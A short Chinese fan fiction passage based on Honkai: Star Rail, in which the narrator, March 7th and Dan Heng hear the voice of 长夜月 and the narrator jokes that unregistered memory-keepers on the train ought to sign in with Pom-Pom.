“总之没有——至于你口中的那位黑天鹅,她最好祈祷我们能找到合适的手作大师,不然等下次见到她的时候……”长夜月省略了后半句,但你大概是能猜到的。 真让你见到黑天鹅,黑天鹅就是你的了,是吧? 好熟悉的台词。 不过,我们? “嗯。那自然是因为,我已经同意了陪你去找人呀?试一试就知道了——对于忆者来说,和试衣服也没什么太大的区别吧?” 哇,好有道理。原来是这样解决的吗? “所以,那个声音就是长夜月?”三月七问,“你听到了吗?” “是她没错。”你点点头。 “我也听到了。”丹恒说。对他来说尚且陌生的声音,不知为何在听到的那一刻起就引起了他的警惕,出于一贯的谨慎克制,丹恒没有一个击云起手。 “原来是这样的声音呀。好在你们都能听到,只有我能听到的话,大概会有些寂寞吧。” “都不要过度反应。”长夜月出声引导,“你们也不想让藏在列车上的那位忆者连夜逃跑吧?” 坦白来说,你是不太想。毕竟是你重要的星琼来源之一。不过这事确实引起了你的好奇,真的能跑掉吗?如果她想的话? “我倒是不在乎。三月隐约能感受到忆者的存在,这似乎让她有些不安——虽然对方肯定更加不安就是了。倒也不用这么害怕我嘛,我又不是什么很可怕的存在,只要她别打不该打的主意。” 从剧情的发展,和实际生活出发,你支持修缮列车的安保系统,前有巡海游侠,后有忆者扎堆:忆庭的面具忆者、黑天鹅、康士坦丝……一方面你能理解剧情有其发展的需要,但你们忆者在列车上是否太自由了些? 你姑且不论,你是有人引上列车,过了明面的,其余没有做过访客登记的忆者,请先去找帕姆做个访客登记啊喂!